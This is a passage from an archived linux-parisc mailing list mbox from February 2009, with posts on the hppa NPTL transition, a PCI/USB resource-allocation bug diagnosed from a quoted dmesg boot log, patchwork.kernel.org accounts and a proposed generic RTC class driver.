	Sat, 21 Feb 2009 10:14:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753179AbZBUPOE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 21 Feb 2009 10:14:04 -0500
Original-Received: from mailrelay008.isp.belgacom.be ([195.238.6.174]:43463 "EHLO
	mailrelay008.isp.belgacom.be" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752183AbZBUPOB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Feb 2009 10:14:01 -0500
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AiIBAAepn0lbs5YR/2dsb2JhbAAI0leEDwY
Original-Received: from unknown (HELO [192.168.2.7]) ([91.179.150.17])
  by relay.skynet.be with ESMTP; 21 Feb 2009 16:14:00 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.19 (X11/20090103)
In-Reply-To: <119aab440902210606y4d7995cbu65f4ed1d7a660104@mail.gmail.com>
X-Enigmail-Version: 0.95.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1305 gmane.linux.debian.ports.hppa:5613
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1305>

Carlos O'Donell wrote:
> debian-hppa, linux-parisc,
> 
> I've been working on the linuxthreads to nptl transition over
> the past week and I have had promising results. I managed
> to debug several critical issues, and no blockers remain in
> the implementation of compat symbols to fix the ABI transition.
> 
> This implementation is the first ports target to attempt to
> override symbols in the nptl add-on, and as such the initial
> implementation has a lot of code duplication which I hope
> to reduce via future patches to libc proper. There were aslo
> several stumbling blocks in being the first.
> 
> At present I have an initial implementation complete, along
> with a testsuite to prove the implementation is correct.
> Currently I am debugging the testsuite, because some of
> the expected tests are not passing.
> 
> I will keep the list updated on my progress.

Thanks for the update. Please do share the code soon so other people can
help test and improve it.

Cheers

Luk
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Re : lenny / testing : missing USB device files
Date: Sat, 21 Feb 2009 18:23:33 -0700
Lines: 254
Approved: news@gmane.org
Message-ID: <20090222012333.GA2567@colo.lackof.org>
References: <200902150055.n1F0ta8X007465@stephenson.dhis.org> <4997F482.6050405@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1235265842 2049 80.91.229.12 (22 Feb 2009 01:24:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2009 01:24:02 +0000 (UTC)
Cc: Jean-Pierre HOFER <jph@stephenson.dhis.org>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 02:25:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lb35l-0000jy-I3
	for glpp-linux-parisc@gmane.org; Sun, 22 Feb 2009 02:25:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754714AbZBVBXu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Feb 2009 20:23:50 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754807AbZBVBXu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 21 Feb 2009 20:23:50 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:36685 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754714AbZBVBXs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Feb 2009 20:23:48 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6F285298072;
	Sat, 21 Feb 2009 18:23:46 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24692-06; Sat, 21 Feb 2009 18:23:34 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id F2D0829805F; Sat, 21 Feb 2009 18:23:33 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <4997F482.6050405@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1306 gmane.linux.debian.ports.hppa:5614
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1306>

On Sun, Feb 15, 2009 at 11:54:58AM +0100, Helge Deller wrote:
> Hi Jean-Pierre,
> (added linux-parisc mailing list)
> 
> I just tested the debian kernel on my c3k.

c3k is a totally different chipset and MMIO mapping than
the C360 (original problem report).

> For me a small external USB disk (250GB disk) attached to the USB bus worked fine.
> Just for reference, I've uploaded my dmesg file here: http://userweb.kernel.org/~deller/usbdisk.c3k/dmesg.c3k
> 
> On your system PCI bus handling seems strange, e.g. those kernel messages:
> a) PCI: Unable to handle 64-bit address space for bridge 0000:01:04.0

We make no attempt to handle 64-bit ranges when running 32-bit kernel.
This is completely unrelated to the USB controller in (b).
This is probably the "PREFETCH Memory Range" of this Bridge not
getting allocated. Usually not a problem.


> b) [17179607.932000] ohci_hcd 0000:02:08.0: controller already in use

The ohci drive is really trying to say it could not allocate an MMIO region.
I'll submit a patch to linux-usb to make this clearer and see if they
shove it back at me impaled on a flaming spear. :)  At least 7 different
USB drivers use this same (wrong IMHO) text.

> So, although your ohci_hcd driver was loaded, it was not activated.
> That's why you can't access your USB disks.

ohci_hcd was attempting to load but failed and exited.
Note the reference count is 0 of both ohci and ehci USB drivers.
The driver load should have failed and should have unloaded.
But unloading manually might still work.

...
> > [17179591.388000] PCI: Cannot allocate resource (bogus alignment) 8 [100000:1fffff] (flags 200) of 0000:01:04.0

This looks like a bug in the generic PCI code.

This message is from drivers/pci/setup-res.c:pci_assign_resource():
...
        min = (res->flags & IORESOURCE_IO) ? PCIBIOS_MIN_IO : PCIBIOS_MIN_MEM;

        align = resource_alignment(res);
        if (!align) {
                dev_info(&dev->dev, "BAR %d: can't allocate resource (bogus "
                        "alignment) %pR flags %#lx\n",
                        resno, res, res->flags);
                return -EINVAL;
        }
...

kernel/resource.c:resource_alignment() returns 0 if neither
IORESOURCE_SIZEALIGN nor IORESOURCE_STARTALIGN flags are set.
Given "resource 8" is Bridge range and not a standard BAR, we shouldn't
be using the normal PCI range checking. Bridge ranges do not have the
same constraints on MMIO range allocation as normal BARs do.

I'm sure the PDC is doing the right thing in how it's allocating ranges.
The PCI code needs to handle the "Bridge Ranges" special. Just need
a stack trace of where this is getting called from and figure out
what to do differently. It's possible drivers/parisc/dino.c code
needs to change instead of drivers/pci code.


> > [17179591.392000] PCI: bogus alignment of resource 8 [100000:1fffff] (flags 200) of 0000:01:04.0
> 
> ^^ What's that?

Is this answered above sufficiently?


> > [17179591.392000] PCI: Bridge: 0000:01:04.0
> > [17179591.392000]   IO window: disabled.
> > [17179591.392000]   MEM window: 0x00100000-0x001fffff
> > [17179591.392000]   PREFETCH window: disabled.
> > [17179591.392000] powersw: Soft power switch at 0xf0140000 enabled.
> > [17179591.408000] NET: Registered protocol family 2
> > [17179591.444000] IP route cache hash table entries: 131072 (order: 7, 524288 bytes)
> > [17179591.448000] TCP established hash table entries: 524288 (order: 10, 4194304 bytes)
> > [17179591.492000] TCP bind hash table entries: 65536 (order: 6, 262144 bytes)
> > [17179591.496000] TCP: Hash tables configured (established 524288 bind 65536)
> > [17179591.496000] TCP reno registered
> > [17179591.508000] NET: Registered protocol family 1
> > [17179591.508000] checking if image is initramfs... it is
> > [17179596.108000] Freeing initrd memory: 7005k freed
> > [17179596.112000] Enabling PDC chassis warnings support v0.05
> > [17179596.112000] unwind_init: start = 0x1035de10, end = 0x103850f0, entries = 10030
> > [17179596.116000] audit: initializing netlink socket (disabled)
> > [17179596.116000] type=2000 audit(1234628527.932:1): initialized
> > [17179596.120000] VFS: Disk quotas dquot_6.5.1
> > [17179596.120000] Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
> > [17179596.120000] msgmni has been set to 4550
> > [17179596.124000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 254)
> > [17179596.124000] io scheduler noop registered
> > [17179596.124000] io scheduler anticipatory registered
> > [17179596.124000] io scheduler deadline registered
> > [17179596.124000] io scheduler cfq registered (default)
> > [17179596.128000] PDC Stable Storage facility v0.30
> > [17179597.600000] STI GSC/PCI core graphics driver Version 0.9a
> > [17179597.600000] sti 0000:00:01.0: enabling SERR and PARITY (0002 -> 0142)
> > [17179597.600000] STI PCI graphic ROM found at f2f80000 (64 kB), fb at f6000000 (32 MB)
> > [17179597.688000]     id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
> > [17179597.688000]     graphics card name: PCI_GRAFFITIX1280
> > [17179597.688000] sticon: Initializing STI text console.
> > [17179597.692000] Console: switching to colour STI console 160x64
> > [17179598.540000] Console: switching to colour frame buffer device 160x64
> > [17179598.656000] fb0: stifb 1280x1024-8 frame buffer device, PCI_GRAFFITIX1280, id: 2d08c0a7, mmio: 0xf6100000
> > [17179598.692000] Generic RTC Driver v1.07
> > [17179598.712000] Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
> > [17179598.736000] 8:16:4: ttyS0 at MMIO 0xffd05800 (irq = 16) is a 16550A
> > [17179598.760000] 8:0:63: ttyS1 at MMIO 0xf2003800 (irq = 21) is a 16550A
> > [17179598.788000] brd: module loaded
> > [17179598.808000] serio: GSC PS/2 keyboard port at 0x00020000 irq 20 @ 8:16:7
> > [17179598.832000] serio: GSC PS/2 mouse port at 0x00022100 irq 20 @ 8:16:8
> > [17179598.848000] mice: PS/2 mouse device common for all mice
> > [17179598.876000] TCP cubic registered
> > [17179598.892000] NET: Registered protocol family 17
> > [17179598.952000] input: AT Raw Set 2 keyboard as /class/input/input0
> > [17179598.968000] registered taskstats version 1
> > [17179598.988000] Freeing unused kernel memory: 224k freed
> > [17179600.620000] SCSI subsystem initialized
> > [17179600.700000] 53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
> > [17179600.720000] scsi0: 53c710 rev 2 
> > [17179601.736000] scsi0 : LASI SCSI 53c700
> > [17179602.400000] scsi 0:0:2:0: CD-ROM            TOSHIBA  CD-ROM XM-5401TA 1036 PQ: 0 ANSI: 2
> > [17179602.424000]  target0:0:2: Beginning Domain Validation
> > [17179602.444000]  target0:0:2: asynchronous
> > [17179602.488000]  target0:0:2: FAST-5 SCSI 4.2 MB/s ST (236 ns, offset 8)
> > [17179602.524000]  target0:0:2: Domain Validation skipping write tests
> > [17179602.544000]  target0:0:2: Ending Domain Validation
> > [17179606.428000] Linux Tulip driver version 1.1.15-NAPI (Feb 27, 2007)
> > [17179606.456000] tulip0: no phy info, aborting mtable build
> > [17179606.476000] tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
> > [17179606.504000] eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xf2801000, 00:10:83:05:83:a5, IRQ 24.
> > [17179606.584000] sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 23
> > [17179606.984000] sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
> > [17179607.004000] sym0: SCSI BUS has been reset.
> > [17179607.032000] scsi1 : sym-2.2.3
> > [17179607.292000] usbcore: registered new interface driver usbfs
> > [17179607.312000] usbcore: registered new interface driver hub
> > [17179607.488000] Driver 'sr' needs updating - please use bus_type methods
> > [17179607.688000] sr0: scsi-1 drive
> > [17179607.708000] Uniform CD-ROM driver Revision: 3.20
> > [17179607.728000] sr 0:0:2:0: Attached scsi CD-ROM sr0
> > [17179607.756000] usbcore: registered new device driver usb
> 
> from here ->
> > [17179607.788000] ohci1394 0000:02:0b.0: enabling device (0150 -> 0152)
> > [17179607.812000] ohci1394: MMIO resource (0x106000 - 0x106800) unavailable
> > [17179607.828000] ohci1394: probe of 0000:02:0b.0 failed with error -12
> > [17179607.912000] ohci_hcd: 2006 August 04 USB 1.1 'Open' Host Controller (OHCI) Driver
> > [17179607.912000] ohci_hcd: block sizes: ed 64 td 64
> > [17179607.912000] ohci_hcd 0000:02:08.0: enabling device (0150 -> 0152)
> > [17179607.932000] ohci_hcd 0000:02:08.0: controller already in use
> > [17179607.932000] ohci_hcd 0000:02:08.0: init 0000:02:08.0 fail, -16
> > [17179607.952000] ohci_hcd: probe of 0000:02:08.0 failed with error -16
> > [17179607.972000] ohci_hcd 0000:02:08.1: enabling device (0150 -> 0152)
> > [17179607.992000] ohci_hcd 0000:02:08.1: controller already in use
> > [17179607.992000] ohci_hcd 0000:02:08.1: init 0000:02:08.1 fail, -16
> > [17179608.012000] ohci_hcd: probe of 0000:02:08.1 failed with error -16
> > [17179608.056000] ehci_hcd: block sizes: qh 128 qtd 96 itd 160 sitd 96
> > [17179608.056000] ehci_hcd 0000:02:08.2: enabling device (0150 -> 0152)
> > [17179608.076000] ehci_hcd 0000:02:08.2: controller already in use
> > [17179608.076000] ehci_hcd 0000:02:08.2: init 0000:02:08.2 fail, -16
> > [17179608.096000] ehci_hcd: probe of 0000:02:08.2 failed with error -16
> to here: This looks strange.

-16 == -EBUSY

This could be caused by 01:04.0 bridge not getting resources allocated
and ranges enabled properly.

hth,
grant

> > [17179608.620000] sr 0:0:2:0: Attached scsi generic sg0 type 5
> > [17179610.020000] scsi 1:0:0:0: Direct-Access     FUJITSU  MAT3073NC        5207 PQ: 0 ANSI: 3
> > [17179610.040000]  target1:0:0: tagged command queuing enabled, command queue depth 16.
> > [17179610.060000]  target1:0:0: Beginning Domain Validation
> > [17179610.084000]  target1:0:0: asynchronous
> > [17179610.116000]  target1:0:0: wide asynchronous
> > [17179610.136000]  target1:0:0: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 16)
> > [17179610.160000]  target1:0:0: Domain Validation skipping write tests
> > [17179610.180000]  target1:0:0: Ending Domain Validation
> > [17179610.200000] scsi 1:0:1:0: Direct-Access     FUJITSU  MAP3735NC        5207 PQ: 0 ANSI: 3
> > [17179610.220000]  target1:0:1: tagged command queuing enabled, command queue depth 16.
> > [17179610.240000]  target1:0:1: Beginning Domain Validation
> > [17179610.264000]  target1:0:1: asynchronous
> > [17179610.296000]  target1:0:1: wide asynchronous
> > [17179610.316000]  target1:0:1: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 16)
> > [17179610.336000]  target1:0:1: Domain Validation skipping write tests
> > [17179610.356000]  target1:0:1: Ending Domain Validation
> > [17179614.200000] scsi 1:0:0:0: Attached scsi generic sg1 type 0
> > [17179614.220000] scsi 1:0:1:0: Attached scsi generic sg2 type 0
> > [17179614.660000] Driver 'sd' needs updating - please use bus_type methods
> > [17179614.736000] sd 1:0:0:0: [sda] 143374744 512-byte hardware sectors (73408 MB)
> > [17179614.760000] sd 1:0:0:0: [sda] Write Protect is off
> > [17179614.776000] sd 1:0:0:0: [sda] Mode Sense: d1 00 00 08
> > [17179614.780000] sd 1:0:0:0: [sda] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
> > [17179614.800000] sd 1:0:0:0: [sda] 143374744 512-byte hardware sectors (73408 MB)
> > [17179614.832000] sd 1:0:0:0: [sda] Write Protect is off
> > [17179614.852000] sd 1:0:0:0: [sda] Mode Sense: d1 00 00 08
> > [17179614.852000] sd 1:0:0:0: [sda] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
> > [17179614.872000]  sda: sda1 sda2 sda3 < sda5 sda6 sda7 sda8 >
> > [17179614.920000] sd 1:0:0:0: [sda] Attached SCSI disk
> > [17179614.988000] sd 1:0:1:0: [sdb] 143571316 512-byte hardware sectors (73509 MB)
> > [17179615.008000] sd 1:0:1:0: [sdb] Write Protect is off
> > [17179615.028000] sd 1:0:1:0: [sdb] Mode Sense: b9 00 00 08
> > [17179615.032000] sd 1:0:1:0: [sdb] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
> > [17179615.052000] sd 1:0:1:0: [sdb] 143571316 512-byte hardware sectors (73509 MB)
> > [17179615.080000] sd 1:0:1:0: [sdb] Write Protect is off
> > [17179615.100000] sd 1:0:1:0: [sdb] Mode Sense: b9 00 00 08
> > [17179615.100000] sd 1:0:1:0: [sdb] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
> > [17179615.120000]  sdb: sdb1 < sdb5 >
> > [17179615.148000] sd 1:0:1:0: [sdb] Attached SCSI disk
> > [17179616.948000] kjournald starting.  Commit interval 5 seconds
> > [17179616.964000] EXT3-fs: mounted filesystem with ordered data mode.
> > [17179623.812000] udevd version 125 started
> > [17179640.672000] input: PS/2 Logitech Mouse as /class/input/input1
> > [17179644.828000] Adding 2931820k swap on /dev/sda7.  Priority:-1 extents:1 across:2931820k
> > [17179645.684000] EXT3 FS on sda8, internal journal
> > [17179648.400000] LASI 82596 driver - Revision: 1.30
> > [17179648.580000] loop: module loaded
> > [17179652.020000] kjournald starting.  Commit interval 5 seconds
> > [17179652.052000] EXT3 FS on sda6, internal journal
> > [17179652.072000] EXT3-fs: mounted filesystem with ordered data mode.
> > [17179652.116000] kjournald starting.  Commit interval 5 seconds
> > [17179652.152000] EXT3 FS on sdb5, internal journal
> > [17179652.172000] EXT3-fs: mounted filesystem with ordered data mode.
> > [17179652.212000] kjournald starting.  Commit interval 5 seconds
> > [17179652.236000] EXT3 FS on sda5, internal journal
> > [17179652.260000] EXT3-fs: mounted filesystem with ordered data mode.
> > [17179659.496000] NET: Registered protocol family 10
> > [17179659.520000] lo: Disabled Privacy Extensions
> > [17179659.568000] 0000:00:14.0: tulip_stop_rxtx() failed (CSR5 0xf0660000 CSR6 0xb24e2002)
> > [17179659.568000] eth0: Setting half-duplex based on MII#1 link partner capability of 0021.
> > [17179670.044000] eth0: no IPv6 routers present
> > [17179671.764000] lp: driver loaded but no devices found
> > [17179671.764000] RPC: Registered udp transport module.
> > [17179671.768000] RPC: Registered tcp transport module.
> > 
> 
> 
> -- 
> To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: linux-parisc patchwork now on kernel.org
Date: Sat, 21 Feb 2009 19:23:24 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20090222022324.GE2567@colo.lackof.org>
References: <20090218012609.GD19782@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1235269427 8922 80.91.229.12 (22 Feb 2009 02:23:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2009 02:23:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 03:25:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lb41e-0003bj-0s
	for glpp-linux-parisc@gmane.org; Sun, 22 Feb 2009 03:25:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754105AbZBVCXj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Feb 2009 21:23:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754562AbZBVCXj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 21 Feb 2009 21:23:39 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:39291 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754105AbZBVCXi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Feb 2009 21:23:38 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 7AAF430811F;
	Sat, 21 Feb 2009 19:23:37 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28719-04; Sat, 21 Feb 2009 19:23:26 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8B78330811E; Sat, 21 Feb 2009 19:23:24 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20090218012609.GD19782@bombadil.infradead.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1307
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1307>

On Tue, Feb 17, 2009 at 08:26:09PM -0500, Kyle McMartin wrote:
> Please create accounts here, I'll be looking here for patches
> instead of the current location.

Kyle,
"here" is ambiguous. Create accounts on patchwork.kernel.org?

Do I have to do something different to submit parisc patches
other than send them to the linux-parisc mailing list?

thanks,
grant

> 
> http://patchwork.kernel.org/project/linux-parisc/list/
> 
> The old one will be going offline when the machine it's on dies
> sometime in the next few months.
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] [PATCH/RFC 0/5] Generic RTC class driver
Date: Mon, 23 Feb 2009 13:34:49 +0100 (CET)
Lines: 93
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <20090220170454.04382e9e@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1235392519 31475 80.91.229.12 (23 Feb 2009 12:35:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 23 Feb 2009 12:35:19 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Woodhouse <dwmw2@infradead.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: Alessandro Zummo <alessandro.zummo@towertech.it>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 23 13:36:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lba2o-0003x3-LG
	for glpp-linux-parisc@gmane.org; Mon, 23 Feb 2009 13:36:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754227AbZBWMe7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 23 Feb 2009 07:34:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754147AbZBWMe7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 23 Feb 2009 07:34:59 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:48335 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1753764AbZBWMe5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 23 Feb 2009 07:34:57 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 7E0D158ABD;
	Mon, 23 Feb 2009 13:34:49 +0100 (MET)
In-Reply-To: <20090220170454.04382e9e@i1501.lan.towertech.it>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1308 gmane.linux.kernel:798275 gmane.linux.ports.ppc64.devel:52800
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1308>

On Fri, 20 Feb 2009, Alessandro Zummo wrote:
> On Fri, 20 Feb 2009 16:46:44 +0100
> Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:
> > Fortunately there already exists a generic RTC class driver: "rtc-p=
arisc".
> > Despite it's name, it's platform-independent, as it's build on top =
of the RTC
> > abstraction used by "genrtc".
> >=20
> > This patch series
> >   - adds a missing module alias to rtc-parisc,
> >   - renames rtc-parisc to rtc-generic,
> >   - converts the architectures that currently have CONFIG_GEN_RTC e=
nabled in
> >     their defconfig (m68k, parisc, powerpc) to rtc-generic,
> >   - removes the obsolete rtc-ppc driver,
> >   - removes the old genrtc driver.
> >  =20
> > Note that genrtc may be used on other archictectures as well: at le=
ast alpha
> > has the required infrastructure ([gs]et_rtc_time()). The Kconfig ru=
les allow
> > genrtc to be enabled on several others (cris, h8300, mn10300, um, x=
86, xtensa).
> >=20
> > Furthermore genrtc and rtc-generic are not 100% userspace compatibl=
e:
> >   - /dev/rtc provided by genrtc uses a misc character device (10:13=
5),
> >   - /dev/rtc provided by rtc-generic uses a dynamic character devic=
e.
>=20
>  Hello,
>=20
>    my opinion on this kind of stuff is that I want to avoid the layer=
ing
>  of implementations under the rtc subsystem. I'd rather prefer that e=
ach
>  rtc device had its own driver.=20
> =20
>   I've made error in the past, by accepting such kind of drivers, and
>  would like to avoid that it happens again.

So you want us to kill the ppc_md.[gs]et_rtc_time() [ppc], mach_hwclk()=
 [m68k],
mach_gettod() [m68knommu] (and probably a few other) abstractions, and =
move all
RTC code out of arch/ into seperate drivers under drivers/rtc/ instead?

What about ppc_md.get_boot_time() [ppc]?
Please note that the functions above may also be used for very early cl=
ock
setting (e.g. time_init()) and in read_persistent_clock().
How should we handle these?

Even on x86 there seems to be way too much RTC logic in arch/x86/kernel=
/rtc.c
(e.g. mach_get_cmos_time()), which is duplicated in drivers/rtc/rtc-cmo=
s.c
through the inline function __get_rtc_time() in include/asm-generic/rtc=
=2Eh
(clever, hardware-specific stuff in asm-generic ;-)

>   Regarding the user space, the assumption that a device has
>  a fixed major:minor number should be dropped as well.

I know. But it's a userland-visible change, so I wanted to explicit poi=
nt to
it.

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =B7 Da Vincilaan 7-D1 =B7 B-1935 Zaventem =B7 Bel=
gium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =B7 RPR Brussels
=46ortis =B7 BIC GEBABEBB =B7 IBAN BE41293037680010
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
